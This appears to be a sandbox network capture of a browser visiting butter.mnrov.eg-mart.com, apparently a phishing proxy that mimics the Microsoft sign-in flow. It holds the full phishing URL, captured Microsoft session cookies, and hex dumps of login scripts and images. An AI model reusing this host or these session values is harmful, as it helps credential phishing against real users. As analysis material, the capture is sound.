https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATQAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeipCc4ldnS61jJLBkrluvKKjPhkbyjnm7FJb-rDg5hR4CxXPlbFma3FhlwQ5_7cbQA45yaCvZ_uF0aSaIVZoxJqjEdfJKv_MxBDaL_hD7Wd4gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezhwTsZEpQggFeYkQRv1HpP4yyZJelITyUo-TKUiV2Idv4ezzEHYhx7nupcdSPwX7TxLpCx_OLQeHgXCfyPIzpf5mISakq9mCP0OWEFaQuXfewqC6vxubsvbaZuxNsHot4mJJ63tSlE2AoLbZM1KjkxE7z5ezI6dGOLYx8VnXtEsgAA; esctx-iB8Pq6MyNGQ=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeMZ6diUzLG_ohrrKcqO5C8Wl88tOt2ObB-PTJZdX3Os-NF9Zdsl8i3vv09yhXFsZhb-VqoJJ6D81Nuf_kQQMqWso3cWSko8VzNqKbs76xIxuXBunFefHlEnpUx9WMhujsZppHiVglJ10YwcnUjEjJhyAA; fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; brcap=0
2024-11-14 15:39:54 UTC	67	OUT	Data Raw: 7b 22 72 65 73 75 6c 74 43 6f 64 65 22 3a 32 2c 22 73 73 6f 44 65 6c 61 79 22 3a 30 2c 22 6c 6f 67 22 3a 22 50 72 6f 62 65 20 69 6d 61 67 65 20 65 72 72 6f 72 20 65 76 65 6e 74 20 66 69 72 65 64 22 7d Data Ascii: {"resultCode":2,"ssoDelay":0,"log":"Probe image error event fired"}
2024-11-14 15:39:55 UTC	1129	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:55 GMT Content-Type: application/json; charset=utf-8 Content-Length: 265 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Origin: https://autologon.microsoftazuread-sso.com/ Cache-Control: no-store, no-cache Client-Request-Id: e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+frc"}]} Set-Cookie: fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; expires=Sat, 14-Dec-2024 15:39:55 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly X-Ms-Ests-Server: 2.1.19343.4 - SEC ProdSlices X-Ms-Request-Id: c2b6f03c-323f-4cff-adc9-bcce8e821c01 X-Ms-Srs: 1.P
2024-11-14 15:39:55 UTC	265	IN	Data Raw: 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 69 67 57 61 5a 4c 49 76 39 76 2d 31 46 31 75 6e 5a 4c 56 51 6c 31 52 4f 72 76 30 6b 61 50 71 52 4c 69 59 61 38 52 77 5a 65 76 63 72 45 61 58 6d 42 37 67 45 53 2d 47 42 49 75 53 7a 4d 66 66 74 59 73 55 6c 66 67 45 5a 54 6b 72 70 35 37 39 4d 53 61 67 32 6f 41 53 65 62 50 2d 78 6c 7a 30 6b 2d 44 75 30 64 4d 30 38 54 63 7a 73 65 2d 35 4a 71 37 34 54 4b 69 49 6d 66 30 58 38 35 39 69 7a 5a 37 48 52 48 72 5f 6f 58 33 4b 76 4c 36 2d 36 62 39 5a 63 51 41 70 42 36 31 38 32 48 77 73 44 6f 77 58 70 52 35 55 48 79 63 76 78 53 65 55 35 64 6a 52 43 4a 76 67 33 35 56 56 5a 35 35 6c 75 56 7a 4b 69 68 67 65 46 51 6a 72 51 34 74 48 30 Data Ascii: {"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeigWaZLIv9v-1F1unZLVQl1ROrv0kaPqRLiYa8RwZevcrEaXmB7gES-GBIuSzMfftYsUlfgEZTkrp579MSag2oASebP-xlz0k-Du0dM08Tczse-5Jq74TKiImf0X859izZ7HRHr_oX3KvL6-6b9ZcQApB6182HwsDowXpR5UHycvxSeU5djRCJvg35VVZ55luVzKihgeFQjrQ4tH0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.17	60550	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:55 UTC	608	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_89db715e3340a2e8ecd8.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:55 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7790891 Cache-Control: public, max-age=31536000 Content-MD5: SMJ5Ru2UEObX0bOUP7nOGw== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:55 GMT Etag: 0x8DCBD52F3E2FAB3 Last-Modified: Thu, 15 Aug 2024 17:51:55 GMT Server: ECAcc (lhc/794E) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 354c47b9-901e-004f-7ccf-ef259a000000 x-ms-version: 2009-09-19 Content-Length: 26668 Connection: close
2024-11-14 15:39:55 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:55 UTC	10285	IN	Data Raw: 20 20 7d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 69 63 6b 3a 20 61 63 63 65 73 73 52 65 63 6f 76 65 72 79 4c 69 6e 6b 20 3f 20 6e 75 6c 6c 20 3a 20 72 65 73 65 74 50 61 73 73 77 6f 72 64 5f 6f 6e 43 6c 69 63 6b 20 7d 20 7d 22 3e 3c 2f 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 33 63 21 2d 2d 20 2f 6b 6f 20 2d 2d 5c 78 33 65 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 33 63 21 2d 2d 20 6b 6f 20 69 66 6e 6f 74 3a 20 73 76 72 2e 66 46 69 78 55 72 6c 52 65 73 65 74 50 61 73 73 77 6f 72 64 20 2d 2d 5c 78 33 65 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 70 61 73 73 77 6f 72 64 45 72 72 6f 72 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 5c 6e 20 20 20 Data Ascii: },\n click: accessRecoveryLink ? null : resetPassword_onClick } }"></div>\n \x3c!-- /ko --\x3e\n \x3c!-- ko ifnot: svr.fFixUrlResetPassword --\x3e\n <div id="passwordError" data-bind="\n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.17	60551	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:56 UTC	1371	OUT	GET /common/instrumentation/dssostatus HTTP/1.1 Host: butter.mnrov.eg-mart.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATQAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeipCc4ldnS61jJLBkrluvKKjPhkbyjnm7FJb-rDg5hR4CxXPlbFma3FhlwQ5_7cbQA45yaCvZ_uF0aSaIVZoxJqjEdfJKv_MxBDaL_hD7Wd4gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezhwTsZEpQggFeYkQRv1HpP4yyZJelITyUo-TKUiV2Idv4ezzEHYhx7nupcdSPwX7TxLpCx_OLQeHgXCfyPIzpf5mISakq9mCP0OWEFaQuXfewqC6vxubsvbaZuxNsHot4mJJ63tSlE2AoLbZM1KjkxE7z5ezI6dGOLYx8VnXtEsgAA; esctx-iB8Pq6MyNGQ=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeMZ6diUzLG_ohrrKcqO5C8Wl88tOt2ObB-PTJZdX3Os-NF9Zdsl8i3vv09yhXFsZhb-VqoJJ6D81Nuf_kQQMqWso3cWSko8VzNqKbs76xIxuXBunFefHlEnpUx9WMhujsZppHiVglJ10YwcnUjEjJhyAA; fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; brcap=0
2024-11-14 15:39:56 UTC	1072	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:56 GMT Content-Type: application/json; charset=utf-8 Content-Length: 164 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Origin: https://autologon.microsoftazuread-sso.com/ Cache-Control: no-store, no-cache Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+frc"}]} Set-Cookie: fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; expires=Sat, 14-Dec-2024 15:39:56 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly X-Ms-Ests-Server: 2.1.19343.4 - SEC ProdSlices X-Ms-Request-Id: c2b6f03c-323f-4cff-adc9-bccea3821c01 X-Ms-Srs: 1.P
2024-11-14 15:39:56 UTC	164	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 65 64 37 32 39 61 66 30 2d 39 37 63 36 2d 34 62 61 62 2d 61 63 37 63 2d 39 32 38 34 30 34 64 31 36 64 66 36 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 31 2d 31 34 20 31 35 3a 33 39 3a 35 36 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d Data Ascii: {"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"ed729af0-97c6-4bab-ac7c-928404d16df6","timestamp":"2024-11-14 15:39:56Z","message":"AADSTS900561"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.17	60552	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:56 UTC	424	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_89db715e3340a2e8ecd8.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:57 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7790893 Cache-Control: public, max-age=31536000 Content-MD5: SMJ5Ru2UEObX0bOUP7nOGw== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:57 GMT Etag: 0x8DCBD52F3E2FAB3 Last-Modified: Thu, 15 Aug 2024 17:51:55 GMT Server: ECAcc (lhc/794E) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 354c47b9-901e-004f-7ccf-ef259a000000 x-ms-version: 2009-09-19 Content-Length: 26668 Connection: close
2024-11-14 15:39:57 UTC	15653	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:57 UTC	11015	IN	Data Raw: 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 67 72 6f 75 70 20 63 6f 6c 2d 6d 64 2d 32 34 22 3e 5c 6e 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 61 6c 65 72 74 22 20 61 72 69 61 2d 6c 69 76 65 3d 22 61 73 73 65 72 74 69 76 65 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 33 63 21 2d 2d 20 6b 6f 20 69 66 3a 20 70 61 73 73 77 6f 72 64 54 65 78 74 62 6f 78 2e 65 72 72 6f 72 20 2d 2d 5c 78 33 65 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 33 63 21 2d 2d 20 6b 6f 20 69 66 3a 20 73 76 72 2e 66 46 69 78 55 72 6c 52 65 73 65 74 50 61 73 73 77 6f 72 64 20 2d 2d 5c 78 33 65 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 70 61 73 73 77 6f 72 64 45 72 72 6f 72 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 Data Ascii: <div class="form-group col-md-24">\n <div role="alert" aria-live="assertive">\n \x3c!-- ko if: passwordTextbox.error --\x3e\n \x3c!-- ko if: svr.fFixUrlResetPassword --\x3e\n <div id="passwordError" data-bind="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.17	62146	13.107.246.45	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:57 UTC	702	OUT	GET /c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/illustration?ts=638633096749532030 HTTP/1.1 Host: aadcdn.msftauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:58 UTC	765	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 15:39:57 GMT Content-Type: image/* Content-Length: 234265 Connection: close Cache-Control: public, max-age=86400 Last-Modified: Mon, 30 Sep 2024 16:14:35 GMT ETag: 0x8DCE16AF9CFF2E4 x-ms-request-id: 9c37458f-701e-003d-6bab-362db7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241114T153957Z-1749fc9bdbdlzhmchC1DFWe68s00000002n0000000007q40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS X-Content-Type-Options: nosniff Accept-Ranges: bytes
2024-11-14 15:39:58 UTC	15619	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 1f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 32 20 37 39 2e 61 36 61 36 33 39 36 38 61 2c 20 32 30 32 34 2f 30 33 2f 30 36 2d 31 31 3a 35 32 3a 30 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 Data Ascii: ExifII*Ducky<http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "> <rdf:RDF
2024-11-14 15:39:58 UTC	16384	IN	Data Raw: 31 77 01 80 eb d5 a9 8e d8 95 92 83 d6 b2 3f dc 5e b7 18 b1 aa c2 1f c7 04 f2 46 e1 77 c4 69 d8 0a 02 68 95 dc b5 ff 00 56 59 63 2d 12 dc 4b d0 bf 7f ee 6b de 3e f9 1e 4b cb 9e 41 8c 30 5c 5e 40 b2 b4 11 50 c7 b5 a2 a0 a3 76 76 c6 c1 7d 0e 7e 8e b5 4d 63 08 95 53 2f 3d a4 b2 c7 2c e1 d0 db 23 09 a6 8a 10 a9 10 de c6 a5 36 9f a5 48 a5 35 fc b1 a3 ba 4e 3a 97 24 c6 61 7a 67 9d 94 08 e0 1b 52 25 39 55 8b 00 a1 a9 dd 56 3b aa 3f 80 c6 76 ab ae 10 a0 0c 27 92 00 44 74 22 9d a5 85 48 1e a3 1b ed 4c b8 90 d7 b5 61 b4 8b 93 86 f6 f5 9d 2d e1 a4 db 23 00 f9 25 52 0a a1 ae e1 41 5a 9c 8f a6 30 f2 2f 15 69 6a 4b 3d 5b 94 e7 ee ee 04 77 b3 88 e7 37 36 cf 48 d0 6e 08 c2 40 0c 92 6f de c8 5e a6 b9 8a 57 e0 31 f3 76 a4 62 af af d4 88 72 79 fd d4 57 9c 68 be e6 9e 54 77 Data Ascii: 1w?^FwihVYc-Kk>KA0\^@Pvv}~McS/=,#6H5N:$azgR%9UV;?v'Dt"HLa-#%RAZ0/ijK=[w76Hn@o^W1vbryWhTw
2024-11-14 15:39:58 UTC	16384	IN	Data Raw: ba d2 87 1e 67 2f 91 b2 db 68 bd d3 ff 00 29 83 32 48 79 3e 56 14 68 2f 15 ae f8 64 90 9b 3b e4 42 cc 3c 65 10 2a 4b 45 8f b5 73 05 a9 53 dd 5c f1 cf 7f 1b 8a d6 dc bd bc 9d 54 ff 00 41 c1 1f bb ef 2d 6e 22 31 5c 4a cd cb 02 ff 00 7e d2 34 06 e5 e5 92 3a c4 ce cb 1c 43 6a d4 69 5c bd 3a e9 e0 f1 3a b9 aa 8e 3e 9a c6 bd 86 82 1c 61 b4 bd b4 94 cb 0f db af 1a f0 b5 e2 2d 2e 61 58 51 40 57 72 db 19 91 36 8d c0 6e dc 47 d3 eb 87 91 c3 7a df 0e 77 4c 7c 7c 7c c8 7a 94 ac bd df c6 ca f7 f2 f2 c8 cd 0d f5 d1 d8 cb e2 57 45 64 a9 50 41 79 a2 51 41 40 9a d3 a1 c5 f3 ff 00 1d c9 ed fb 6e 36 af 5f 87 f5 0d a3 b9 3f 76 db cd 65 6d 6f c8 d9 9b 9b aa 06 b4 43 20 8e d9 17 b8 77 51 69 2e fa ea 48 35 c8 e5 8c b8 3f 8d 75 b3 74 b6 de f8 cb fe df d8 36 99 36 e3 a5 be b9 69 Data Ascii: g/h)2Hy>Vh/d;B<e*KEsS\TA-n"1\J~4:Cji\::>a-.aXQ@Wr6nGzwL\|\|\|zWEdPAyQA@n6_?vemoC wQi.H5?ut66i
2024-11-14 15:39:58 UTC	16384	IN	Data Raw: 2d cf b9 2e ac ae 24 01 66 e3 ae ee 63 91 cb f4 91 e6 0c fd 92 93 f4 49 9b 0a 02 34 c7 97 e4 f1 f2 be 4b 3a f0 d7 92 74 b2 51 f9 77 f5 08 90 87 b8 bd a4 79 0f 6c dc 2c 9b 36 ba 5b 85 b9 db 1c 52 c8 b1 c6 53 79 20 31 52 b1 90 36 b5 3a 8c b5 c7 27 07 f2 3f 6b c9 ad 5b 7a b9 cc a5 3f af d0 19 9b b2 9f 90 bd e3 78 ef 6c f3 e6 29 ad 1d 40 83 95 92 59 11 de 2f 1d 61 88 c9 22 92 b2 ee 65 dc 0f d0 32 5c 7a be 4e ca f2 3e 7e 29 de b5 49 4f cd c7 55 fa 89 e5 83 78 bb 8e 43 85 93 92 f6 f4 37 10 5f d8 59 b3 a4 16 b7 12 1f 0b ac 8b a4 25 01 0d b2 6d ca cc 1e b9 52 99 83 8e de 75 4e 4a d3 92 e9 d6 cf aa d5 7c ff 00 b0 db 33 1c ed bc 9e 38 c2 5a 7d a4 c1 e3 b7 0b 6f 2a 3c 42 e3 76 46 8f dc 1a 87 69 3b 8a fc 71 df e3 72 d5 f5 95 ae 57 41 a7 93 51 c8 5e f1 0d 77 f7 b3 db Data Ascii: -.$fcI4K:tQwyl,6[RSy 1R6:'?k[z?xl)@Y/a"e2\zN>~)IOUxC7_Y%mRuNJ\|38Z}o*<BvFi;qrWAQ^w
2024-11-14 15:39:58 UTC	16384	IN	Data Raw: 17 89 2b 99 55 a4 2e 4a ac 71 f6 12 bb 00 ae 5a e3 3e 0e 3c ba bb 37 db a0 26 0f 13 59 cb 49 a5 4d ec ca 3f ed ed 54 44 88 00 ce 94 07 f1 d6 b8 de 2c b0 bf 17 91 07 f9 1e 7e 47 e1 23 b0 8c 8b 79 22 b7 64 0a 54 21 09 2f c0 0a 97 d9 da a0 0a 2f a9 c7 07 1f 86 97 2b bb f7 4b fd 09 4b 25 8f 69 d9 0b 18 d7 96 01 9b ec d3 7b 28 45 50 8f 30 68 e2 56 93 46 2e 41 da a4 f4 24 65 85 e7 5a dc 9e c5 a3 c7 f7 15 99 9b 32 a7 2b 7c 66 e4 ee 27 69 25 26 49 65 43 e4 23 77 d2 11 18 ad 7b a8 35 c8 63 be b5 fb 75 8a 24 91 a6 84 33 45 6c 6e 56 2b 37 f2 94 7a 2b 82 59 9d c6 40 a9 a6 60 b6 9e b8 ba bb 47 b8 72 19 fb 6b ab 46 9a d6 f5 bf 75 e4 70 6d 83 a8 08 ee 80 ee 91 07 68 4a 1a 1a 6a 32 18 e6 6d 34 ac b4 23 70 0e 7e 36 59 ee e5 99 d9 5d 21 a2 6e 89 02 21 2a 02 f6 2e 42 99 6b Data Ascii: 